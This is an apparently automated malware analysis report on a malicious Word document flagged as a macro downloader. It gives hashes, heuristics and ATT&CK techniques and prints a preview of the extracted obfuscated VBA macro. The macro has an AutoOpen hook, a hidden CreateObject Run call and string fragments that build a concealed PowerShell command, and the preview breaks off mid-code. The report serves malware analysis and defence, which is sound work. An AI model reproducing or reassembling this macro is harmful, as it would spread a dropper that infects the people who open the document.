Office (OLE) malware analysis — malicious · 1618478c169349aa

MALICIOUS

Office (OLE)

156.0 KB Created: 2018-03-27 14:38:00 Authoring application: Microsoft Office Word First seen: 2018-03-30

MD5: 084927daf47ffda94e104c42f08f4005 SHA-1: 41d702c06effab51214264dbe469e8e646929edc SHA-256: 1618478c169349aaf6b291d702f49774f32e3decc0d1604bc2f9f8a3eb85298a

192 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059.001 PowerShell

The sample is a malicious Office document containing a VBA macro. The macro utilizes CreateObject and appears to be designed to download and execute a second-stage payload, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic and the presence of a VBA macro file. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature. The macro's obfuscated nature and the lack of clear indicators for a specific family lead to an 'unknown family' classification.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

jHbrEQ = (jzJnpO - ChrB(22285))
CreateObject(uUDuJOzqEtwm).Run MIddflZZRjd + Chr(VBA.vbKeyC) + hnSUzjY + LvsffNvLmij + IqkaGEBwamMECF, vbHide
For Each CGhJKa In RlEdHc

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro

Matched line in script

Attribute VB_Name = "lGtSDTbsCkXJM"
Sub AutoOpen()
On Error Resume Next

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	40080 bytes
SHA-256: `0ae07121f547a0a88a9be15318d62fe34cc6f3e5e2d3bba57854ca87f53c6bb8`
Detection ClamAV: No threats found Obfuscation or payload: likely 652 of 1067 identifiers look randomly generated (e.g. 'Fj2BLYAYgBiAGQAMQBlAGYAMAA2ADcAMwBjADYAM') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "cDwSvjPFojf" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "HdGNzinpwNrs" Function uIouckJwaU() On Error Resume Next For Each wzziUC In nCRjk DbIbtA = 6979 - XMwTJB For Each aLVjc In Xhjzk YDkjWU = jXMno Next Next sXhWdzXz = KjQBK("XApUzMj", 2, 1) For Each iAblzK In BwMrv IRftbi = 17303 - iqmjc For Each BSpOXj In tRwwhn Zcqtk = MrDdk Next Next For Each PSIfIS In onSvf uDzozL = 64950 - BQXbXU For Each ZbwrZ In DdMVA jimhYP = LKtjvR Next Next EbanbVDd = KjQBK("67m0ZOA3ADIAZgAwADgAOABmAGEAMABjAGEAYQAyAGUAMQBhADQAZgA5ADYAYgA2ADIAZQA2ADcANgAzADgAYQBlAGEAYwA0AFcz", 7, 91) For Each pNBlE In wSOLTD hqalS = 93870 - zOPjwL For Each IwjrDa In QqbaR iRPaN = JzUkH Next Next For Each WcNOkR In ZmwIUZ MoKjMj = 26202 - iQomWO For Each EcIMzb In DSJLbW tvjjj = WczNYa Next Next pKBDX = KjQBK("uoYAZABmADgAMQBkADkANAA5ADUAMABkADQAMwAxADAAYwAxADYANAA3ADEAYQBiADMAYQA1ADEAYgA5ADMANgA1ADQAMwA0AGIANwA3AGIAMAA1AGIAOAA2ADYAOQA4ADYAMgA0ADcAYgBjAGMAZAAxAGIANgBkAAzzHjG", 4, 158) For Each uwZwuT In hUAHcw lsWBHq = 16194 - VHCniQ For Each iunWkr In sLQHk ZvYHlE = kbMRki Next Next For Each lildsi In aGmHF ntcpO = 5880 - WSzRG For Each MVDKVw In kdMQGI zPJzQs = XFYlj Next Next dpcKAiA = KjQBK("8biP,36,7,145,42,32,61,4,183,133,46)) ) ) \|. ( $shELLiD[1]+$sHELLiD[13]+'x')ULnc", 5, 72) For Each PWShU In JSoXv ISYKj = 24442 - GbQHJz For Each NZoPf In oZXOL wjwJJs = iIakN Next Next For Each LzFoZ In lVNDJS ONTZU = 93482 - fznbAE For Each iEiss In JPQRG ZtXnLL = OjoNz Next Next MWoUwf = KjQBK("9.9MAAzADcAMABmADUAOABjAGEAOQA1ADkAMwBiADQAYgAxAGYANwBiAGUANgBjADMAZgAzADEAOAA4ADAAYQA5AGYANgAxAGUAMABjAGYAYwBmAGQAOQA4ADEAZgBkADcAYgBkADQAMQA1ADYANAA2ADIANAA0ADAANwAwADYANQA5ADMANgAxADUK902m", 4, 183) For Each QMqMKi In VYHRiK BwzzC = 36438 - XCILcP For Each poqqjN In FSDGnS BmGEA = IPjqLi Next Next For Each tWFXN In qWziY KADKR = 59937 - VoFkC For Each BLmrhG In wSAJnj uPFRMa = vztiB Next Next LwYusawYbr = KjQBK("O3HkpAGEAOAA0ADEAZAAxAGEAMQAzAGIAYwA5ADAAYwAwADIAYQA0AGIANgAwAGYAYQAyADgAYgBhADEANAA5ADMAYgBjADY@r", 6, 91) For Each ckQom In qMKDf cbUrA = 88080 - hzKGi For Each XbcGLt In jvVNB WltTj = azkzi Next Next For Each RbYzCX In dPZJT sFbjiR = 79748 - QUjEM For Each twfNLJ In kbpFrE jNBUMB = UksPBO Next Next zdHpiitSA = KjQBK("2z@vtPAZgA5ADMANABjAGEAZQA2AGIAYgAyAGEANgAwADYAYgBjADMAZgAzADMAMgBhADc2Mp", 7, 64) For Each AGptqY In fkMzKt dliqN = 97353 - DTOrK For Each YNnzK In KjVALB NBdpXC = irzNZ Next Next For Each uEGDcP In BinOAt YpztY = 70313 - IjSDkX For Each BlRpB In cEdIA ZAsDDi = XCXKZt Next Next iwDvduFF = KjQBK("tp1AGUAMQBiAGMAYQBjAGYAZgA3ADAANQBiADkANwBkADgAMgBkAGYAYwAyAGEANABjAGIAMwBkADEAYQBjAGUAYgA1AGUAMAA4ADUANwAzAGQAOAA2AGMAMAA3AGQAZAAxADIAMAA5AGYANgBjADUANQBjADUAMQBkADcANAA1AGQANAAzAGYANwBmAGIAYwA2ADUANcmJAnM", 3, 198) For Each AlUoAs In qAsVZw mTLptz = 21439 - PfPUoA For Each ibswK In qkpIH iAAidj = kiLVj Next Next For Each jrlpR In YcPRSZ MCchX = 25614 - bWpXjq For Each JkmMJ In kbBCG Bpbzw = mDOmd Next Next wIAzzDvuZ = KjQBK("CMAMgBjADAAMQAxAGMANQA5AGQAMgAyAGQAOAA2AGMAYwBmAGEAYQBjADYAYgA3ADMANQA5ADAAMgBmADQAZgAzADEAYgA3ADIAMwBmADEAYgA4ADAAMAtA%N@O", 2, 115) For Each KKwaK In OGaOP cEIAbl = 2414 - bHLtA For Each rMwmz In GRCwb Qzozp = ZiUtBl Next Next For Each RElUuG In zzMDj Napbz = 56978 - qVYdNX For Each jMiTYU In TUznmF BhjBz = pkKEph Next Next wiOClcOzQm = KjQBK("HmXiIAMgAnU", 5, 5) For Each uwfHG In TmlSt PatFro = 26121 - Vpooc For Each rwwBa In qQlXoq PlmQOq = jGviS Next Next For Each GSpSP In msEWZ TdCRAZ = 19227 - zhEnbo For Each YjmPZU In SvbpO ModWw = bpVii Next Next hAOMAz = KjQBK("PBa@6MRIngaNSI( [RUnTimE.intEROpsERviCES.marshaL]::LA", 7, 45) For Each zjIYOC In aXNLSH aJKHqL = 21824 - WLDho For Each MICzD In bnAthZ ndzcLP = sSiOsX Next Next For Each rYFvw In jTujP lQzdV = 94355 - rowmmz For Each iRGPH In zCWQWP sCvhh = GiTXf Next Next uIHAcU = KjQBK("SuVsAZgA0AGEANgBiADYAZQBlADMAZAA3ADUANQAwADUAZgAyAGEAOAA2AGIANwAyADUAMgBkAGYAOQBhADEAZAA5ADYANQBkAGUAYgAwAGQAMgAwAt3", 5, 110) For Each jJQRv In SvsmSM ZaNiui = 12841 - rkptO For Each dtXKu In Daijla DUMFki = IitAZ Next Next For Each ZFoTmB In NlnHmT UjbaMi = 99513 - PTPtl For Each OwwwmU In fjCXri jvmPi = zCDmd Next Next KiiaAjhIYk = KjQBK("9Fj2BLYAYgBiAGQAMQBlAGYAMAA2ADcAMwBjADYAMwAxAGIAOABhAGEAYgBhADcAYgA5ADcAZQBmADcAYwA2ADgANwBkADcAYwBmADkAMAA1AGYAk", 7, 105) For Each jBpVDt In wzprL zzpzZ = 6409 - EzpTj For Each OZwLsJ In ukipL dbjBuE = PiMIDd Next Next For Each tkvrV In UUitNR rOANnc = 7885 - RiSRB For Each ApiwW In HWBVPN aKjmTo = HABRdD Next Next wzNfVT = KjQBK("DAOQAyADAAYgAzAGYAYQA5AGIAMgAzADEAYwBkADcANwAyAGYAYQA3ADIAOAA3ADkAOQBjADcAMABhADYANQBiAGYAOQA5ADMAMgAzADgANAA5ADkAZQA5ADgANQA3ADIANwA5ADIAYgA5AGMANgA1ADAAYgApMmj0%2", 2, 156) For Each DcCda In PTfAu ikUMiz = 50220 - dvhvwc For Each DznMV In NEuws tcHijr = GEmoWU Next Next For Each AlaWZ In wridD QjiElh = 63729 - lwDEpE For Each hTfMz In flmlE tZVpO = PssUsX Next Next zMWAwVvttJW = KjQBK("fnwADEAOQA2AGEAZgA0ADgAOAAzAGQAZQBkADgAOQA5ADkAZABlADMAYwAxAGIAZAA4AGEAZQBiADYO2XW", 3, 76) For Each OLnDiW In VCPXCR dlwvS = 63347 - nWPHo For Each ZLXNb In Tkwsh PXoqJ = mznmHt Next Next For Each zJVYjf In tClFQc EjqCHj = 72491 - jiOKI For Each zbJvH In ALlpv ZnksW = wLfmOz Next Next ohQbwBiSFvU = KjQBK("TLO2ADYAYwBjAGMANgBmAGYAZQA2ADAAZABiAGMAMQA0ADgAMwAzADcAMQAyADcAMwA0ADAAMQA1AGEANABjAGEANgBmADAANgAzADIAYwBmADIAYgA2AGwmH7", 4, 115) For Each Oqocn In VWavb JJLptu = 1753 - FGwao For Each YLzqK In KpsaM wiZfwr = QMjnV Next Next For Each dRTtAX In HcWii IHOlw = 4517 - uzfIkn For Each ANkBOL In NtHFk qUSOP = uGqQt Next Next INozh = KjQBK("26hjkQANwBmADEAMgAwADMAOQAxADcAMAA2AGIAMQAwADgAYwA5ADIANgA2ADkANgA3ADcAYgA4ADQAYwAzAGQAZQAwADAAOABjADEAZAAwAGUANgA2ADcANwA1ADcAOQAzADkAMwA1AGEAOAA5AGEANAA0ADcAYgBiADYANgA3ADQp5z", 6, 169) For Each bkffl In JMsZt UUTDuO = 13597 - NdoZfQ For Each jtYJzq In maphHw XjQaau = hrLcIN Next Next For Each jXUfwl In XNKqz kGcmm = 19946 - kFSWBK For Each ZzTBS In MTAmP iLvtX = XDJIB Next Next QZzoIjZGN = KjQBK("Oc ( [rUNTiME.inTeRoPSErViCes.maRsHaL]::PTrtOst4Nsp", 3, 45) For Each hVPBdE In inSnXu XkzRF = 81532 - lbnpL For Each EdGJQw In UwAKpw kNQXXz = tnGrD Next Next For Each FWGCsF In UjFsl BRiWCT = 21198 - RHNYw For Each qMRLt In fKYDfd wYZYpZ = qrHrM Next Next XYMpZ = KjQBK(".2wDmzGUANgA2ADIAMwBiADkAYQA4ADIANABiADAAYQA2ADcAZgA5AGYAYQBlADUAMgBkAGYANABiADgAMgA5ADEANQBmADcANwBmADQANQA0ADUAZAA5ADMAYgA4AGIAYQA4AGUAMgBkAGQAYQBlAD84j", 7, 145) For Each AinOs In trXIOu tArtbq = 47852 - MjriYz For Each XzEZwo In wWJKBj aQLiqf = zwjAn Next Next For Each HZTAjk In JVBrz nJOMMB = 13300 - BFKpX For Each iHwucn In FqrzcR HGjUzB = VBYZwC Next Next BZkBhLGWkzk = KjQBK("DkXN98BiADMAOQA1ADYANABiADkAZAAwADAAYgA1ADcAYwBhADYAMgBlADkANgBlADUANQA1ADcAZgBmAGYAYwAzADQANgA4ADkAOQA4ADYAMABmADYAZQA3ADIAZgAyADUANAAzADEAOAA2ADAAMwBkAGYAMQBkADYAOAAyADcAMQBmADAAOQBhADUAMgAwAGUAYwA2ADgAPP", 7, 198) For Each GTJLMG In BWGOL hSWOj = 68433 - AuWpp For Each uNFaV In lwzXhl LRGjc = nrCCi Next Next For Each VDtUb In sYrkY OqCXE = 73739 - IYcToX For Each wPiSpH In AqZamN iSkGa = VcJzo Next Next EvwBzbbh = KjQBK("Z9M8LOA0AGEAYQA3ADgAMAA1ADgAMABiAGEAYgA5ADAAMwBjADMAYwA3ADYAMQBhAGEAMwAwADcAMgBmAGQAYgAyADUAYgBkAG3j", 7, 92) For Each uwztkF In wQdtYv QOzcw = 35930 - RdFrM For Each WITFh In GMpCzo oOCBY = LJlHd Next Next For Each XwQlK In VNdwaE jIPwW = 61793 - YtpXj For Each fhfhkG In TVabND oIupPl = RVWrwY Next Next qjZwRFwO = KjQBK("HZNANABiADAAOAA0ADEAMwBhADMAYQBmADMAMQBmAGEAYgBiADEANQA4ADcAMQA4ADIAYwAzADcANAA5ADUAOAA5ADIAYQA0AGQAZQBlAGQAZABjADEAOAA3ADYAYgAzADQAZQA2ADUAMwA4ADMANgBkADMAZQBmADcAMwA2ADw3vw", 4, 167) For Each idJtBL In niwOU zLinl = 37403 - MQzAHw For Each OLIpm In wkrQiL YAZwav = sGniFi Next Next For Each JHSlw In qJaDAj DvEEi = 77736 - jYXZDX For Each wViUY In fLWMRX lUIWhC = AESPKH Next Next BBGhXLTJB = KjQBK("3cAZgA0AGIAYQAwADUANgA2ADMAYQA4ADcAYgBlAGQANQA2ADcAYgA0ADgAMwA3ADkANwBkAGYAMwA5AGYANgBhADIAOABjADIANwBlAGIANABlAGEAYwA0ADAAYQA0ADQANgBlAGIAYQBhAGYAMwBlAGYAYgBlADEAZQBhAGIAMrUaa,", 3, 170) For Each Xkkti In Ssnwj wqrZrn = 13112 - EOQAr For Each wUtDP In RjHam iwTtj = nFDkJ Next Next For Each znjJk In EmNQm zqMKS = 44346 - QKrqY For Each hAQFjK In mvwzSi wSIHY = rWaXFT Next Next pGuKDVZanw = KjQBK("PPdBNAAzADcAMQBlADAAZQA1ADcANQA1ADQAMAA5AGYAYQAxADAAMgA2ADA0h7%", 5, 55) For Each jcIGz In TDFnj FzmEtP = 85047 - QcwCkR For Each wKatAP In EJmqAG Dqicc = pFSjH Next Next For Each huGbCa In itnzQq tKTSd = 43772 - HnzRJa For Each BjFzfQ In wWljuY TuiMK = OjOnU Next Next antXYA = KjQBK("caw8oQANAAyADgAOAA1ADEAZgBjAGIAYwAxADcAZgA5ADUAMQAwADIANwAxADMAOAAwAGMAMAAzADYAYgA5AGIAYQA5ADUAZABlAGMAMgA0ADUANwAwADQAYQA0ADYAZgBlADgAYwBkAGYAMwBmADQANwBmADUAYwA1AGEAMwA2ADgAMgBkADAAMgBmAGMAYwW4w", 6, 188) For Each lZHIKt In HcNhCk Uvohli = 96005 - ntPEwG For Each RSRcF In WrNanv ZGMfb = ATvjCl Next Next For Each jdiZC In BNLtha vKsLOX = 51558 - zYskp For Each OlzMlH In wjtGlU vooWdi = vuuXmh Next Next QFYmSJD = KjQBK("saYzAGYAMQAyADgANgAyADMAYQBhAGIAOABiADQAYwBhADEAZgA5AGMAMAAwAGMAMQBhADgANgm1Tm3", 5, 70) For Each lEqpN In nbNjvS wdwFcC = 76992 - JjVGG For Each SrDpw In OMcDRY zTaIaK = iSwpuk Next Next For Each SJSdS In jtNDEb pMKuhk = 21635 - UUuGWw For Each puFfw In ckGJT kuitik = LiBLE Next Next BhSdVZTIhiS = KjQBK("ARXAMwAzAGQANgBkAGYAMwA5ADQAYgA2ADUAMQBkAGEAMwA4AGUAMABmADcANABhADUAMAAxAGMAZQA3ADQANwAzAGUAMQBjAGMAYQA0ADgAMQBiAGUAOAA4AGEAOQBhADkAYQA0ADMAOQA5AGUAYQAxADAAMwBiAGYANABhAGEAZAHDsLO", 4, 171) For Each zKzpXW In cNESwY INbElO = 2108 - zmbQVT For Each nojAkw In ivjmX XqPuF = uwGzZ Next Next For Each dFhqku In cZHPiJ HzfzjB = 88547 - GDHHS For Each zzajP In WOVzz uZbjH = fHwBkz Next Next jwiasEPqVRu = KjQBK("rWDQAOAA5ADkAZAA4ADgAMwAxADQANwAw78G%9kA", 3, 31) For Each LzNwd In ccViZh TCUtch = 4793 - GUoWvR For Each KYwPbW In GJPrO ZZuCC = WcnDZC Next Next For Each MzFNt In CnSwv iOObVw = 59379 - ZUOBzu For Each zpNAj In LDdRs kLjhzf = TNGpwf Next Next GUPQcvqKA = KjQBK("hLYSqAZgAwAGMAOABjAGMAOAA4AGYAYgAzADkAZgBkADUAOAA3ADUAN6Q", 6, 50) For Each izrjE In wDEwF LTSLkK = 56085 - tlqmR For Each VbGrA In VYkOL NivhGk = BUKABV Next Next For Each PRLjbm In YoTid slVWC = 58192 - LYzGb For Each CJnsCl In IPRLm bhWNOw = pwrcL Next Next Sorjs = KjQBK(",nv%uAGIAYwBjADQAOAA3AGYAZgA1ADIANwA0AGQAZQBiAGMAMQA3ADkAMwBiAGIAOQAyAGQANwAyADQAMAA2AGIASTo", 6, 84) For Each MphqUF In jjKlw zcudU = 19040 - ZCZpKj For Each HDDRL In ZYLaYz itrWk = wAquV Next Next For Each VlLLt In SzYtqh riQudi = 2744 - ivGNU For Each qMjisl In EpGoW DzotvR = roiDD Next Next tPhXaEVBDhC = KjQBK("h%2bDMAMwAzAGQAMgBkADYANABiAGYAMgBhADAAMwA3AGUAMAAyADEAZAAwADcAOQA4ADcAYwA4AGYAMwAzADAAOQAwADUAZgA1AGUANQA2ADcAMAAyAGIAMAAwAGUAMAAzADciB", 5, 130) For Each SvmpEz In ibnsP vPmsKF = 14464 - zQuCKv For Each EBidb In SVSAB zScMwd = VuEwXz Next Next For Each aaaTA In iwjQP rzuBz = 32332 - AbLmRh For Each whIOz In ZOHKzf iikwj = SJmNG Next Next kmtmCtrjzC = KjQBK("7LAA4AGUAMABkAGQANgBlAGUAYQA3ADUAOQA0ADgANwAwADUANgBlAGUAYgAwADIAOAAzADUAZQBhADMAYgBjAGYAZQA0AGMAZAAxAGQAMwAyADgAOAAyAGYAZgAxADcAZAA5AGIANAA5AGYAOQA5ADgAZgA2ADYAMABhAGMAMABlAGYAYwA2ADEAZAA2AGYGvka", 3, 190) For Each lPiYPo In lwSAn Sacdp = 68413 - TrBVr For Each GGPsM In CjLZv sWoubM = wiNkqj Next Next For Each iAtiv In ollOUR OimkV = 39783 - zDadPF For Each kRtOL In sHnlqV ZDwjX = SXcDF Next Next tuoJzDGkpTz = KjQBK("ZjCbt2gA3AGQAOAAyAGQANwBjAGUANwBiADkAYgA4AGYAMABjAGIAZAA5ADIAZAAyAGMAYgBlADEAZAA4AGMANABlADQAYgAzADYAZABjADIAMQAyADAANAA3AGUAOQAyAGYAOABlADkAZQBhADUAMgA0AGMAMgA1AGIAPW", 7, 159) For Each LaZaZ In TpLEU zIXfGv = 1679 - zRDvHq For Each rmBHN In pASTjN XjrVj = jOAnQ Next Next For Each WNCUa In rKkDhk XvYomK = 73683 - XzDrJ For Each KzfWj In mEcwC PddhL = jrjdzI Next Next hjbzkHWbR = KjQBK("5.w2tAEcAMgAzAFEASgBxAGoASgBLADIASgA2AEEAPQA9AHwH8w2", 6, 43) For Each jPBzQz In RRjLEj jHTTa = 72921 - uJipl For Each HRthz In jwolF wYwww = cisDk Next Next For Each kwJITa In LiWQG bdsSi = 38971 - sZRoDw For Each jldiT In PtrCF cfzLUc = fzwYA Next Next JmEXzY = KjQBK("XXIAYwBhADIAYwA0ADIAMgA5ADcAMQBhADMAOQBiAGUAYQBkADYAMQAzAGQAZgA3ADgANAA5AGYAMABhADMANABlAGUAZQAyAGUAZgBhAGEANgBlADUAYwBkADkAZABhADcANwA3ADUAOAAxAGUAZQBk9vz0", 3, 150) For Each IInLi In FUSiZ ozkBh = 71997 - NCrwuN For Each MwSKnM In YKMbhM AKJwXJ = iTdPKi Next Next For Each hTkhwM In zpjli DOEMpM = 81030 - ASunh For Each CTzYMA In tHdBMJ Rjrcjd = TsjhiZ Next Next djKvC = KjQBK("V5wgAyADQAZAAyAGMANQAzADQAOQA3ADEANQAzAGUAOQA0AGMAZQA5ADUAMQBhADUAYwAyADAAMwBjADgAYQA5AGMAMwAyADgAOAAwADkAZQA3ADcANQA3ADAANgBl20T1UL", 4, 123) For Each jAqtRl In fqLZd JHbLcD = 28504 - RaRDEu For Each bTrhbN In GmHvX ltjDG = XMQVEb Next Next For Each lwzXdA In CubwLj OJJFHB = 4317 - tLVozi For Each Rrdrz In Ywjvqw zNXwJ = ScczqS Next Next BPJUEEifVzQ = KjQBK("wL0twAlZQAyAGYAZQA0AGMAYgA5ADIANQBmADgAMQA2ADQAZgA3AGIAOAA0ADkATJ", 8, 56) For Each LFnCo In EccjS kAqMZ = 20845 - Etdfo For Each fILwp In mZZVTJ GorjUi = fYqcP Next Next For Each iRscu In HjOMaP GsHcU = 51497 - OJZMW For Each PuTnBj In GCwRiR cRnGz = GjJTj Next Next jHwzS = KjQBK("JRaC4NAzAGEAZAA5ADUAMQBkAGYANQBiAGIAMQA3ADIAZgA3AGEAMwA5AGEAMABmAGUAOAAVp", 7, 65) For Each aUDYrj In BZNMb tQDDv = 81682 - DErzWT For Each Omjkz In WGdCi lYQwP = MvGrD Next Next For Each sBmFw In nqkBo VPlTh = 5920 - zGGXzj For Each jFPXXh In kOTSw PlVEM = OVkbz Next Next TMfhwjuSj = KjQBK("27MFAQBmAGEAMABlADUAZAAyADkAMAA5AGEANwA5ADQAMAAxADEAMwA1ADgAYQBlADYAYQBiADEAZgAyAGIANABiAGQANwBiAGQAOQAwAGYAYwA0AGIm1iN", 6, 110) For Each jGtzld In YKbhbM HAlBSB = 70685 - jMlBLm For Each QvdQa In aGmcpi wnDts = FNjjIw Next Next For Each dTZjEs In wnKJBh kzBpp = 28778 - bDFRj For Each QooQp In QvBKib FloMLY = LRQSt Next Next FhdUXh = KjQBK("MdH,XcAOAAyADIAMwBiADEAYwBiAGYANAAxAGYAMwBmADgAZAA3AGUAZABjADEAMQAzADYAMAA4ADUAOQBiAGEAZQA1ADUAYwAArf", 7, 92) For Each HICQT In VhdKz URQNjm = 42841 - FJlmq For Each sbzzYV In ldItk QGBbbp = rHqzi Next Next For Each mfKukl In lfuRC hOiSt = 29639 - LLuLE For Each jzHMNK In nwAjd isjVc = FJfcV Next Next apQKXskU = KjQBK("jHmZgBmADUAZAAyADUAYwAyADgAYwBkAGEAYwAyADEAZQA3ADMANwA1AGYAOABkADcAMQBjAGIANgBlADAAZAA2ADkAOQAyADkAMAA5ADYANAAxAGUAMABiADIANQBiADEAMgBkADgAZQA5ADUANgA1ADNR2", 4, 150) For Each Btwib In zqwBWd jGqkk = 26006 - pkkff For Each RswcEV In wMRMIV jmKcV = CvMOY Next Next For Each jDwHk In pODvJz doWDD = 16073 - klzwoY For Each YqpAqA In zNAPHX JuBRI = KHzpW Next Next jnqtOjpjEiD = KjQBK("KrADYANAA5ADkAYwAxAGIAZABhADQAYwBlADYAOQAzADQAMQA3ADYAOAA2ADcAMQBlAGMAZABlAGUAYwA5ADIAZQA3ADUANAAzADkAOQBjAGUAOQA0ADkAZABiADQAZAA0ADUAZAAyADMAMwA5ADAANABkADYAMgAwADkANABlAGAjczAO", 3, 170) For Each zjvFz In LlRYN TwjiaW = 78263 - kQbqvh For Each QjQqzi In AsEID vlBkhG = JbjjdB Next Next For Each bUfiB In Ooqwn BuWCp = 63929 - wUDcHt For Each ajjDfZ In kitiaW FcFXs = FLuSZ Next Next mlqQvwM = KjQBK("l%RL@AYQA2ADIAZAA4ADIAMwA1ADAAMgBmADUAOABlADIAYwAyADcAYgA0ADAAYwBhAGQANQA4ADAAZgBhADUAMgBhADjam", 6, 87) For Each hhiYrY In IsiImS dQPcY = 29573 - TsrzF For Each onOoN In BszBGC lNiaU = Edcov Next Next For Each dIUsE In hzSOdM jcqnM = 11665 - qihbwW For Each RwWEQh In IkHoR oWdVsc = iqkBVl Next Next kzWPr = KjQBK("mj2AMwBkADcAMwBjADYAZAA2ADAAYwA0ADIANABhADcAOABkADkAZgBhADMAMgBlAGIAMgBjADUAOQAwAGYAZQAzADMAZAA2ADgAOQA5ADkAMwA2AGMAYwBkAGUANABiAGYAZABmADIAMwA3AGbwn%cJ", 4, 143) For Each Puatvi In PwvKNi Xsiwv = 42246 - TFMiT For Each LaOVif In EOKOs lZYhLf = qHwBCa Next Next For Each kmPpkk In FPRFuv LjXul = 60548 - FizJD For Each WSBQj In vNdRGd HvDvCM = aBpiZj Next Next wDPdsH = KjQBK("0,.EAMwAzADYAOQA2AGUAMwBkADQAMAA5AGIAOAA1ADUAMQBlADEAZQBmAGUANQAzADMAMgA3AGIAYwBiAGYANwBiAGUAMQA2ADMAMAA5ADIAMwBiADgAZQA3ADMAMwBlADEAMQAyADMAOQBlADYAYwBjAGYAZQBkAGUAYQSOUi", 4, 164) For Each liESj In RVmOAY AthOR = 32338 - XLCmuz For Each sUdSrA In JiZza dlJpvi = bhUbRI Next Next For Each HDznw In HCCUFK OonqZv = 60850 - KsiVI For Each riszLs In dSNYcI BWtTw = rYOQWi Next Next zvzuIsuwB = KjQBK("8MABmADMAMgA1ADcAOABhAGUA' \|cOnverTTo-SeCurEstRInG -K 151,49,144,144,244,42vuzv.", 2, 76) For Each rzLQSq In QTKXuS lWZSw = 74400 - YowPZ For Each tSUba In KtfHzG OGhLWZ = dGCowZ Next Next For Each JsIzDi In fmbUp UMzoJk = 30707 - AaOWcm For Each WQTioT In fVihh zbGzQ = EKsvL Next Next sOhPPFlNw = KjQBK("8TwQANgBhAGUAZQBkADIAMwBiADYAYwBhAGMANwAyAGEAMQBkADMANQAxADgAOQA5AGUAZgAwAGMAOQBkADUAOQAzAGkUB", 4, 88) For Each iIJStc In raIWIp SKhcF = 54096 - spZTO For Each SiodV In iGLAM GGpwpE = KQrtdQ Next Next For Each PuGFQW In lpQWAT FBzpLK = 39955 - zjTCR For Each itiXl In UpCKZq KizIbN = NaUfPG Next Next jBIXGM = KjQBK("mYAMwA4ADkAYgA0ADcAZABmADAANgAzADcAMAA2AGYAZAA5ADUAYQA2ADgAOABkADQANwA2AGEAOQAxAGYAMwA5ADUAOAAzAGIAMgBhAGIAMwBiAGYAMAA5AGYANgBiADUAOAAzADIAOABhADMANQA4AGEAMAAxADI6@jHZi", 2, 161) For Each quWmO In SCvhw cXQzn = 31349 - MKuzb For Each obAHYC In ihduj LkfHi = JMkSw Next Next For Each NVhlS In UrAuzC jdXZc = 10725 - mvnIO For Each jwzfv In ddLFbj isDkSf = HnlqF Next Next rrbovFOmYu = KjQBK("zQ0.JLd", 3, 1) For Each VcZSh In XCvWu zEYjY = 45072 - tlafjK For Each dAJwN In ajYBE YBIpjV = QTaoX Next Next For Each TRtno In zHwFXB wuwlM = 75403 - aQzXB For Each bqREs In jswaqa biwrL = IlOMVX Next Next ViYIAfvAz = KjQBK("mcF0ASEcureStringTOglObAlaLLOCaNsI($('76492d1116743f0423413b16050a5345MgB8AFYAegBTAHEAMQBHAEoAYQBIjt0u", 6, 93) For Each svbCT In lbXIp MjSPzT = 12867 - CLmiZ For Each jtbMiw In cwoRtH oiDZG = wKqVPs Next Next sFODoZC = MNjJwdjps + """" + LisKkhd uIouckJwaU = XvztzClrHIXiBC + FLmVTHMXZnWCGz + JNVFWZBNoAUMs + sFODoZC + hTORiVQaiwis + QZzoIjZGN + hAOMAz + ViYIAfvAz + hjbzkHWbR + qjZwRFwO + wDPdsH + EvwBzbbh + jBIXGM + GUPQcvqKA + djKvC + QFYmSJD + jHwzS + rrbovFOmYu + LwYusawYbr + BBGhXLTJB + TMfhwjuSj + BhSdVZTIhiS + EbanbVDd + tPhXaEVBDhC + mlqQvwM + wIAzzDvuZ + kmtmCtrjzC + FhdUXh + iwDvduFF + tuoJzDGkpTz + pGuKDVZanw + pKBDX + XYMpZ + wiOClcOzQm + zMWAwVvttJW + kzWPr + JmEXzY + Sorjs + BPJUEEifVzQ + apQKXskU + INozh + sXhWdzXz + MWoUwf + zdHpiitSA + uIHAcU + jwiasEPqVRu + jnqtOjpjEiD + sOhPPFlNw + KiiaAjhIYk + wzNfVT + ohQbwBiSFvU + antXYA + BZkBhLGWkzk + zvzuIsuwB + dpcKAiA For Each OoNdMX In jcruZ Set YDtTpt = tKrWP dplHZk = 28656 - Jlatq For Each oEFcTs In wMhLGo BDzqNN = TvUSKK Next Next OSSZzL = (oEODX - ChrB(32308)) End Function Attribute VB_Name = "zObPJijuWW" Function JNVFWZBNoAUMs() On Error Resume Next For Each vhPDQ In nLCIO 